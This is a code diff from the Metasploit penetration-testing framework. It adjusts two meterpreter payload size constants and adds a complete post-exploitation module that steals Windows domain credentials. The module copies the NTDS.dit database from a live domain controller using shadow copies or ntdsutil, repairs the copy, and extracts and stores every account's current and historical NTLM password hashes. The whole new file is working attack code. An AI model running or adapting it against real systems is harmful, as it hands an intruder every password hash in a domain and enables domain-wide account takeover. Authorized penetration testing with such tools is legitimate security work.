@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config'
module Metasploit4 module Metasploit4
CachedSize = 1102898 CachedSize = 1104434
include Msf::Payload::TransportConfig include Msf::Payload::TransportConfig
include Msf::Payload::Windows include Msf::Payload::Windows

View File

@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config'
module Metasploit4 module Metasploit4
CachedSize = 1102898 CachedSize = 1104434
include Msf::Payload::TransportConfig include Msf::Payload::TransportConfig
include Msf::Payload::Windows include Msf::Payload::Windows

View File

@ -0,0 +1,156 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
require 'msf/core/auxiliary/report'
require 'metasploit/framework/ntds/parser'
class Metasploit3 < Msf::Post
include Msf::Post::Windows::Registry
include Msf::Auxiliary::Report
include Msf::Post::Windows::Priv
include Msf::Post::Windows::ShadowCopy
include Msf::Post::File
def initialize(info={})
super(update_info(info,
'Name' => 'Windows Domain Controller Hashdump',
'Description' => %q{
This module attempts to copy the NTDS.dit database from a live Domain Controller
and then parse out all of the User Accounts. It saves all of the captured password
hashes, including historical ones.
},
'License' => MSF_LICENSE,
'Author' => ['theLightCosine'],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]
))
end
def run
if preconditions_met?
ntds_file = copy_database_file
unless ntds_file.nil?
print_status "Repairing NTDS database after copy..."
print_status repair_ntds(ntds_file)
realm = domain_name
ntds_parser = Metasploit::Framework::NTDS::Parser.new(client, ntds_file)
ntds_parser.each_account do |ad_account|
print_good ad_account.to_s
report_hash(ad_account.ntlm_hash.downcase, ad_account.name, realm)
ad_account.nt_history.each_with_index do |nt_hash, index|
hash_string = ad_account.lm_history[index] || Metasploit::Credential::NTLMHash::BLANK_LM_HASH
hash_string << ":#{nt_hash}"
report_hash(hash_string.downcase,ad_account.name, realm)
end
end
rm_f(ntds_file)
end
end
end
def copy_database_file
database_file_path = nil
if start_vss
case sysinfo["OS"]
when /2003| \.NET/
database_file_path = vss_method
when /2008|2012/
database_file_path = ntdsutil_method
else
print_error "This version of Windows is unsupported"
end
end
database_file_path
end
def domain_name
result = cmd_exec('cmd.exe', '/c systeminfo | findstr /B /C:"Domain"')
result.gsub!(/Domain:\s+/,'')
end
def is_domain_controller?
file_exist?('%SystemDrive%\Windows\ntds\ntds.dit')
end
def ntdsutil_method
tmp_path = "#{get_env("%WINDIR%")}\\Temp\\#{Rex::Text.rand_text_alpha((rand(8)+6))}"
command_arguments = "\"activate instance ntds\" \"ifm\" \"Create Full #{tmp_path}\" quit quit"
result = cmd_exec("ntdsutil.exe", command_arguments,90)
if result.include? "IFM media created successfully"
file_path = "#{tmp_path}\\Active Directory\\ntds.dit"
print_status "NTDS database copied to #{file_path}"
else
print_error "There was an error copying the ntds.dit file!"
vprint_error result
file_path = nil
end
file_path
end
def preconditions_met?
status = true
unless is_domain_controller?
print_error "This does not appear to be an AD Domain Controller"
status = false
end
unless is_admin?
print_error "This module requires Admin privs to run"
status = false
end
if is_uac_enabled?
print_error "This module requires UAC to be bypassed first"
status = false
end
unless session_compat?
status = false
end
return status
end
def repair_ntds(path='')
arguments = "/p /o \"#{path}\""
cmd_exec("esentutl", arguments)
end
def report_hash(ntlm_hash, username, realm)
cred_details = {
origin_type: :session,
session_id: session_db_id,
post_reference_name: self.refname,
private_type: :ntlm_hash,
private_data: ntlm_hash,
username: username,
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
realm_value: realm,
workspace_id: myworkspace_id
}
create_credential(cred_details)
end
def session_compat?
if sysinfo['Architecture'] =~ /x64/ && session.platform =~ /x86/
print_error "You are running 32-bit Meterpreter on a 64 bit system"
print_error "Try migrating to a 64-bit process and try again"
false
else
true
end
end
def vss_method
id = create_shadowcopy("#{get_env("%SystemDrive%")}\\")
print_status "Getting Details of ShadowCopy #{id}"
sc_details = get_sc_details(id)
sc_path = "#{sc_details['DeviceObject']}\\windows\\ntds\\ntds.dit"
target_path = "#{get_env("%WINDIR%")}\\Temp\\#{Rex::Text.rand_text_alpha((rand(8)+6))}"
print_status "Moving ntds.dit to #{target_path}"
move_file(sc_path, target_path)
target_path
end
end